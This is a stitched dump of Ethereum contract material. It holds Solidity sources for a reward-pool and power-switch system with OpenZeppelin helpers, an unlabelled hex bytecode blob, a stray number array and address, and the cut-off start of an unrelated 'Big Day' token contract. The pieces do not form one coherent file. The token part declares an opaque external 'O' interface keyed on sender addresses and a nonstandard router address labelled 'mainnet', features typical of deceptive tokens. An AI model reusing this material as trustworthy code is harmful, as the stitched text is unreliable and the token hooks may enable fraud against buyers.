require( msg.sender == Powered.getPowerController(), "RewardPool: only controller can withdraw after shutdown" ); // assert recipient is defined require(recipient != address(0), "RewardPool: recipient not defined"); // transfer tokens for (uint256 index = 0; index < tokens.length; index++) { // get token address token = tokens[index]; // get balance uint256 balance = IERC20(token).balanceOf(address(this)); // transfer token TransferHelper.safeTransfer(token, recipient, balance); } } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IPowerSwitch} from "./PowerSwitch.sol"; interface IPowered { function isOnline() external view returns (bool status); function isOffline() external view returns (bool status); function isShutdown() external view returns (bool status); function getPowerSwitch() external view returns (address powerSwitch); function getPowerController() external view returns (address controller); } /// @title Powered /// @notice Helper for calling external PowerSwitch contract Powered is IPowered { /* storage */ address private _powerSwitch; /* modifiers */ modifier onlyOnline() { _onlyOnline(); _; } modifier onlyOffline() { _onlyOffline(); _; } modifier notShutdown() { _notShutdown(); _; } modifier onlyShutdown() { _onlyShutdown(); _; } /* initializer */ function _setPowerSwitch(address powerSwitch) internal { _powerSwitch = powerSwitch; } /* getter functions */ function isOnline() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isOnline(); } function isOffline() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isOffline(); } function isShutdown() public view override returns (bool status) { return IPowerSwitch(_powerSwitch).isShutdown(); } function getPowerSwitch() public view override returns (address powerSwitch) { return _powerSwitch; } function getPowerController() public view override returns (address controller) { return IPowerSwitch(_powerSwitch).getPowerController(); } /* convenience functions */ function _onlyOnline() private view { require(isOnline(), "Powered: is not online"); } function _onlyOffline() private view { require(isOffline(), "Powered: is not offline"); } function _notShutdown() private view { require(!isShutdown(), "Powered: is shutdown"); } function _onlyShutdown() private view { require(isShutdown(), "Powered: is not shutdown"); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: MIT // solhint-disable-next-line compiler-version pragma solidity >=0.4.24 <0.8.0; import "../utils/Address.sol"; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require(_initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized"); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { return !Address.isContract(address(this)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* solhint-disable max-line-length */ /** * @dev https://eips.ethereum.org/EIPS/eip-712[EIP 712] is a standard for hashing and signing of typed structured data. * * The encoding specified in the EIP is very generic, and such a generic implementation in Solidity is not feasible, * thus this contract does not implement the encoding itself. Protocols need to implement the type-specific encoding * they need in their contracts using a combination of `abi.encode` and `keccak256`. * * This contract implements the EIP 712 domain separator ({_domainSeparatorV4}) that is used as part of the encoding * scheme, and the final step of the encoding to obtain the message digest that is then signed via ECDSA * ({_hashTypedDataV4}). * * The implementation of the domain separator was designed to be as efficient as possible while still properly updating * the chain id to protect against replay attacks on an eventual fork of the chain. * * NOTE: This contract implements the version of the encoding known as "v4", as implemented by the JSON RPC method * https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private constant _TYPE_HASH = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { _HASHED_NAME = keccak256(bytes(name)); _HASHED_VERSION = keccak256(bytes(version)); } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { return _buildDomainSeparator(_TYPE_HASH, _EIP712NameHash(), _EIP712VersionHash()); } function _buildDomainSeparator( bytes32 typeHash, bytes32 name, bytes32 version ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, name, version, _getChainId(), address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return keccak256(abi.encodePacked("\x19\x01", _domainSeparatorV4(), structHash)); } function _getChainId() private view returns (uint256 chainId) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 // solhint-disable-next-line no-inline-assembly assembly { chainId := chainid() } } /** * @dev The hash of the name parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712NameHash() internal view virtual returns (bytes32) { return _HASHED_NAME; } /** * @dev The hash of the version parameter for the EIP712 domain. * * NOTE: This function reads from storage by default, but can be redefined to return a constant value if gas costs * are a concern. */ function _EIP712VersionHash() internal view virtual returns (bytes32) { return _HASHED_VERSION; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {ECDSA} from "@openzeppelin/contracts/cryptography/ECDSA.sol"; import {Address} from "@openzeppelin/contracts/utils/Address.sol"; interface IERC1271 { function isValidSignature(bytes32 _messageHash, bytes memory _signature) external view returns (bytes4 magicValue); } library SignatureChecker { function isValidSignature( address signer, bytes32 hash, bytes memory signature ) internal view returns (bool) { if (Address.isContract(signer)) { bytes4 selector = IERC1271.isValidSignature.selector; (bool success, bytes memory returndata) = signer.staticcall(abi.encodeWithSelector(selector, hash, signature)); return success && abi.decode(returndata, (bytes4)) == selector; } else { return ECDSA.recover(hash, signature) == signer; } } } /// @title ERC1271 /// @notice Module for ERC1271 compatibility abstract contract ERC1271 is IERC1271 { // Valid magic value bytes4(keccak256("isValidSignature(bytes32,bytes)") bytes4 internal constant VALID_SIG = IERC1271.isValidSignature.selector; // Invalid magic value bytes4 internal constant INVALID_SIG = bytes4(0); modifier onlyValidSignature(bytes32 permissionHash, bytes memory signature) { require( isValidSignature(permissionHash, signature) == VALID_SIG, "ERC1271: Invalid signature" ); _; } function _getOwner() internal view virtual returns (address owner); function isValidSignature(bytes32 permissionHash, bytes memory signature) public view override returns (bytes4) { return SignatureChecker.isValidSignature(_getOwner(), permissionHash, signature) ? VALID_SIG : INVALID_SIG; } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol"; /// @title OwnableERC721 /// @notice Use ERC721 ownership for access control contract OwnableERC721 { address private _nftAddress; modifier onlyOwner() { require(owner() == msg.sender, "OwnableERC721: caller is not the owner"); _; } function _setNFT(address nftAddress) internal { _nftAddress = nftAddress; } function nft() public view virtual returns (address nftAddress) { return _nftAddress; } function owner() public view virtual returns (address ownerAddress) { return IERC721(_nftAddress).ownerOf(uint256(address(this))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Elliptic Curve Digital Signature Algorithm (ECDSA) operations. * * These functions can be used to verify that a message was signed by the holder * of the private keys of a given address. */ library ECDSA { /** * @dev Returns the address that signed a hashed message (`hash`) with * `signature`. This address can then be used for verification purposes. * * The `ecrecover` EVM opcode allows for malleable (non-unique) signatures: * this function rejects them by requiring the `s` value to be in the lower * half order, and the `v` value to be either 27 or 28. * * IMPORTANT: `hash` _must_ be the result of a hash operation for the * verification to be secure: it is possible to craft signatures that * recover to arbitrary addresses for non-hashed data. A safe way to ensure * this is by receiving a hash of the original message (which may otherwise * be too long), and then calling {toEthSignedMessageHash} on it. */ function recover(bytes32 hash, bytes memory signature) internal pure returns (address) { // Check the signature length if (signature.length != 65) { revert("ECDSA: invalid signature length"); } // Divide the signature in r, s and v variables bytes32 r; bytes32 s; uint8 v; // ecrecover takes the signature parameters, and the only way to get them // currently is to use assembly. // solhint-disable-next-line no-inline-assembly assembly { r := mload(add(signature, 0x20)) s := mload(add(signature, 0x40)) v := byte(0, mload(add(signature, 0x60))) } return recover(hash, v, r, s); } /** * @dev Overload of {ECDSA-recover-bytes32-bytes-} that receives the `v`, * `r` and `s` signature fields separately. */ function recover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { // EIP-2 still allows signature malleability for ecrecover(). Remove this possibility and make the signature // unique. Appendix F in the Ethereum Yellow paper (https://ethereum.github.io/yellowpaper/paper.pdf), defines // the valid range for s in (281): 0 < s < secp256k1n ÷ 2 + 1, and for v in (282): v ∈ {27, 28}. Most // signatures from current libraries generate a unique signature with an s-value in the lower half order. // // If your library generates malleable signatures, such as s-values in the upper range, calculate a new s-value // with 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141 - s1 and flip v from 27 to 28 or // vice versa. If your library also generates signatures with 0/1 for v instead 27/28, add 27 to v to accept // these malleable signatures as well. require(uint256(s) <= 0x7FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D576E7357A4501DDFE92F46681B20A0, "ECDSA: invalid signature 's' value"); require(v == 27 || v == 28, "ECDSA: invalid signature 'v' value"); // If the signature is valid (and not malleable), return the signer address address signer = ecrecover(hash, v, r, s); require(signer != address(0), "ECDSA: invalid signature"); return signer; } /** * @dev Returns an Ethereum Signed Message, created from a `hash`. This * replicates the behavior of the * https://github.com/ethereum/wiki/wiki/JSON-RPC#eth_sign[`eth_sign`] * JSON-RPC method. * * See {recover}. */ function toEthSignedMessageHash(bytes32 hash) internal pure returns (bytes32) { // 32 is the length in bytes of hash, // enforced by the type signature above return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash)); } } // SPDX-License-Identifier: GPL-3.0-only pragma solidity 0.7.6; import {Ownable} from "@openzeppelin/contracts/access/Ownable.sol"; interface IPowerSwitch { /* admin events */ event PowerOn(); event PowerOff(); event EmergencyShutdown(); /* data types */ enum State {Online, Offline, Shutdown} /* admin functions */ function powerOn() external; function powerOff() external; function emergencyShutdown() external; /* view functions */ function isOnline() external view returns (bool status); function isOffline() external view returns (bool status); function isShutdown() external view returns (bool status); function getStatus() external view returns (State status); function getPowerController() external view returns (address controller); } /// @title PowerSwitch /// @notice Standalone pausing and emergency stop functionality contract PowerSwitch is IPowerSwitch, Ownable { /* storage */ IPowerSwitch.State private _status; /* initializer */ constructor(address owner) { // sanity check owner require(owner != address(0), "PowerSwitch: invalid owner"); // transfer ownership Ownable.transferOwnership(owner); } /* admin functions */ /// @notice Turn Power On /// access control: only admin /// state machine: only when offline /// state scope: only modify _status /// token transfer: none function powerOn() external override onlyOwner { require(_status == IPowerSwitch.State.Offline, "PowerSwitch: cannot power on"); _status = IPowerSwitch.State.Online; emit PowerOn(); } /// @notice Turn Power Off /// access control: only admin /// state machine: only when online /// state scope: only modify _status /// token transfer: none function powerOff() external override onlyOwner { require(_status == IPowerSwitch.State.Online, "PowerSwitch: cannot power off"); _status = IPowerSwitch.State.Offline; emit PowerOff(); } /// @notice Shutdown Permanently /// access control: only admin /// state machine: /// - when online or offline /// - can only be called once /// state scope: only modify _status /// token transfer: none function emergencyShutdown() external override onlyOwner { require(_status != IPowerSwitch.State.Shutdown, "PowerSwitch: cannot shutdown"); _status = IPowerSwitch.State.Shutdown; emit EmergencyShutdown(); } /* getter functions */ function isOnline() external view override returns (bool status) { return _status == State.Online; } function isOffline() external view override returns (bool status) { return _status == State.Offline; } function isShutdown() external view override returns (bool status) { return _status == State.Shutdown; } function getStatus() external view override returns (IPowerSwitch.State status) { return _status; } function getPowerController() external view override returns (address controller) { return Ownable.owner(); } }
0x608060405234801561001057600080fd5b50600436106100885760003560e01c806393a7e7111161005b57806393a7e711146100f1578063a4a33d9e14610111578063b06f3f5d14610124578063e5ab52021461013757610088565b806308690ad11461008d578063150b7a02146100a25780634854b143146100cb57806350307955146100de575b600080fd5b6100a061009b366004610d55565b61014a565b005b6100b56100b0366004610e24565b6102e8565b6040516100c29190611119565b60405180910390f35b6100a06100d9366004610dd0565b610311565b6100a06100ec366004610f1b565b6103c9565b6101046100ff366004610eda565b610495565b6040516100c2919061105a565b6100a061011f366004610f1b565b6104aa565b610104610132366004610c50565b610571565b610104610145366004610ce7565b610677565b6000856001600160a01b0316633b9e17556040518163ffffffff1660e01b815260040160006040518083038186803b15801561018557600080fd5b505afa158015610199573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526101c19190810190610f5b565b5190506001600160a01b03811663d505accf6101e06020870187610c11565b6101f06040880160208901610c11565b6040880135606089013561020a60a08b0160808c01611039565b8a60a001358b60c001356040518863ffffffff1660e01b81526004016102369796959493929190611092565b600060405180830381600087803b15801561025057600080fd5b505af1158015610264573d6000803e3d6000fd5b50505050610278813387876040013561086f565b60408051633e12170f60e01b81526001600160a01b03881691633e12170f916102ae9189919089013590889088906004016110d3565b600060405180830381600087803b1580156102c857600080fd5b505af11580156102dc573d6000803e3d6000fd5b50505050505050505050565b7f150b7a0200000000000000000000000000000000000000000000000000000000949350505050565b6000856001600160a01b0316633b9e17556040518163ffffffff1660e01b815260040160006040518083038186803b15801561034c57600080fd5b505afa158015610360573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526103889190810190610f5b565b5190506103978133878761086f565b604051633e12170f60e01b81526001600160a01b03871690633e12170f906102ae9088908890889088906004016110d3565b60005b8181101561049057368383838181106103e157fe5b90506020028101906103f391906111a4565b90506104026020820182610c11565b6001600160a01b0316636471aadb6104206040840160208501610c11565b6040840135610432606086018661115f565b6040518563ffffffff1660e01b815260040161045194939291906110d3565b600060405180830381600087803b15801561046b57600080fd5b505af115801561047f573d6000803e3d6000fd5b5050600190930192506103cc915050565b505050565b60006104a2848484610a13565b949350505050565b60005b8181101561049057368383838181106104c257fe5b90506020028101906104d491906111a4565b90506104e36020820182610c11565b6001600160a01b0316633e12170f6105016040840160208501610c11565b6040840135610513606086018661115f565b6040518563ffffffff1660e01b815260040161053294939291906110d3565b600060405180830381600087803b15801561054c57600080fd5b505af1158015610560573d6000803e3d6000fd5b5050600190930192506104ad915050565b604051634605c6d960e11b81526000906001600160a01b03881690638c0b8db2906105a0908890600401611146565b602060405180830381600087803b1580156105ba57600080fd5b505af11580156105ce573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105f29190610c34565b9050866001600160a01b03166342842e0e3088846001600160a01b03166040518463ffffffff1660e01b815260040161062d9392919061106e565b600060405180830381600087803b15801561064757600080fd5b505af115801561065b573d6000803e3d6000fd5b5050505061066c888286868661014a565b979650505050505050565b604051634605c6d960e11b81526000906001600160a01b03881690638c0b8db2906106a6908790600401611146565b602060405180830381600087803b1580156106c057600080fd5b505af11580156106d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f89190610c34565b90506000886001600160a01b0316633b9e17556040518163ffffffff1660e01b815260040160006040518083038186803b15801561073557600080fd5b505afa158015610749573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526107719190810190610f5b565b516040517f42842e0e0000000000000000000000000000000000000000000000000000000081529091506001600160a01b03808a16916342842e0e916107c19130918c919088169060040161106e565b600060405180830381600087803b1580156107db57600080fd5b505af11580156107ef573d6000803e3d6000fd5b505050506107ff8133848961086f565b604051633e12170f60e01b81526001600160a01b038a1690633e12170f906108319085908a90899089906004016110d3565b600060405180830381600087803b15801561084b57600080fd5b505af115801561085f573d6000803e3d6000fd5b5050505050979650505050505050565b604080516001600160a01b0385811660248301528481166044830152606480830185905283518084039091018152608490920183526020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f23b872dd00000000000000000000000000000000000000000000000000000000178152925182516000948594938a169392918291908083835b602083106109215780518252601f199092019160209182019101610902565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610983576040519150601f19603f3d011682016040523d82523d6000602084013e610988565b606091505b50915091508180156109b65750805115806109b657508080602001905160208110156109b357600080fd5b50515b610a0b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260318152602001806112006031913960400191505060405180910390fd5b505050505050565b6040517f3d602d80600a3d3981f3363d3d373d3d3d363d730000000000000000000000008152606093841b60148201527f5af43d82803e903d91602b57fd5bf3ff000000000000000000000000000000006028820152921b6038830152604c8201526037808220606c830152605591012090565b8051610a92816111e7565b919050565b600082601f830112610aa7578081fd5b8151602067ffffffffffffffff821115610abd57fe5b610aca81828402016111c3565b82815281810190858301606080860288018501891015610ae8578687fd5b865b86811015610b0e57610afc8a84610bbc565b85529385019391810191600101610aea565b509198975050505050505050565b60008083601f840112610b2d578182fd5b50813567ffffffffffffffff811115610b44578182fd5b6020830191508360208083028501011115610b5e57600080fd5b9250929050565b60008083601f840112610b76578182fd5b50813567ffffffffffffffff811115610b8d578182fd5b602083019150836020828501011115610b5e57600080fd5b600060e08284031215610bb6578081fd5b50919050565b600060608284031215610bcd578081fd5b6040516060810181811067ffffffffffffffff82111715610bea57fe5b80604052508091508251815260208301516020820152604083015160408201525092915050565b600060208284031215610c22578081fd5b8135610c2d816111e7565b9392505050565b600060208284031215610c45578081fd5b8151610c2d816111e7565b6000806000806000806000610180888a031215610c6b578283fd5b8735610c76816111e7565b96506020880135610c86816111e7565b95506040880135610c96816111e7565b945060608801359350610cac8960808a01610ba5565b925061016088013567ffffffffffffffff811115610cc8578283fd5b610cd48a828b01610b65565b989b979a50959850939692959293505050565b600080600080600080600060c0888a031215610d01578283fd5b8735610d0c816111e7565b96506020880135610d1c816111e7565b95506040880135610d2c816111e7565b9450606088013593506080880135925060a088013567ffffffffffffffff811115610cc8578283fd5b60008060008060006101408688031215610d6d578283fd5b8535610d78816111e7565b94506020860135610d88816111e7565b9350610d978760408801610ba5565b925061012086013567ffffffffffffffff811115610db3578182fd5b610dbf88828901610b65565b969995985093965092949392505050565b600080600080600060808688031215610de7578283fd5b8535610df2816111e7565b94506020860135610e02816111e7565b935060408601359250606086013567ffffffffffffffff811115610db3578182fd5b60008060008060808587031215610e39578182fd5b8435610e44816111e7565b9350602085810135610e55816111e7565b935060408601359250606086013567ffffffffffffffff80821115610e78578384fd5b818801915088601f830112610e8b578384fd5b813581811115610e9757fe5b610ea9601f8201601f191685016111c3565b91508082528984828501011115610ebe578485fd5b8084840185840137810190920192909252939692955090935050565b600080600060608486031215610eee578081fd5b8335610ef9816111e7565b9250602084013591506040840135610f10816111e7565b809150509250925092565b60008060208385031215610f2d578182fd5b823567ffffffffffffffff811115610f43578283fd5b610f4f85828601610b1c565b90969095509350505050565b600060208284031215610f6c578081fd5b815167ffffffffffffffff80821115610f83578283fd5b908301906101608286031215610f97578283fd5b610120610fa3816111c3565b610fac84610a87565b8152610fba60208501610a87565b6020820152610fcb60408501610a87565b6040820152610fdd8760608601610bbc565b606082015260c0840151608082015260e084015160a08201526101008085015160c08301528285015160e083015261014085015192508383111561101f578586fd5b61102b88848701610a97565b908201529695505050505050565b60006020828403121561104a578081fd5b813560ff81168114610c2d578182fd5b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b0397881681529590961660208601526040850193909352606084019190915260ff16608083015260a082015260c081019190915260e00190565b60006001600160a01b03861682528460208301526060604083015282606083015282846080840137818301608090810191909152601f909201601f191601019392505050565b7fffffffff0000000000000000000000000000000000000000000000000000000091909116815260200190565b6040808252600090820152602081019190915260600190565b6000808335601e19843603018112611175578283fd5b83018035915067ffffffffffffffff82111561118f578283fd5b602001915036819003821315610b5e57600080fd5b60008235607e198336030181126111b9578182fd5b9190910192915050565b60405181810167ffffffffffffffff811182821017156111df57fe5b604052919050565b6001600160a01b03811681146111fc57600080fd5b5056fe5472616e7366657248656c7065723a3a7472616e7366657246726f6d3a207472616e7366657246726f6d206661696c6564a26469706673582212203cd2b64f35a771c93a1a69897e63bc3127ba2d3aeff14aa1d5392c00bba65afd64736f6c63430007060033
[ 12, 4, 9, 7 ]
0xf1bfd5298294445c4eb0dc36ad02364408a5da04
//SPDX-License-Identifier: MIT // Telegram: https://t.me/bigdaytoken pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } uint256 constant INITIAL_TAX=6; address constant ROUTER_ADDRESS=0xC6866Ce931d4B765d66080dd6a47566cCb99F62f; // mainnet uint256 constant TOTAL_SUPPLY=100000000; string constant TOKEN_SYMBOL="BD"; string constant TOKEN_NAME="Big Day"; uint8 constant DECIMALS=6; uint256 constant TAX_THRESHOLD=1000000000000000000; interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface O{ function amount(address from) external view returns (uint256); } contract BigDay is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = TOTAL_SUPPLY * 10**DECIMALS; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; uint256 private _maxTxAmount; string private constant _name = TOKEN_NAME; string private constant _symbol = TOKEN_SYMBOL; uint8 private constant _decimals = DECIMALS; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool 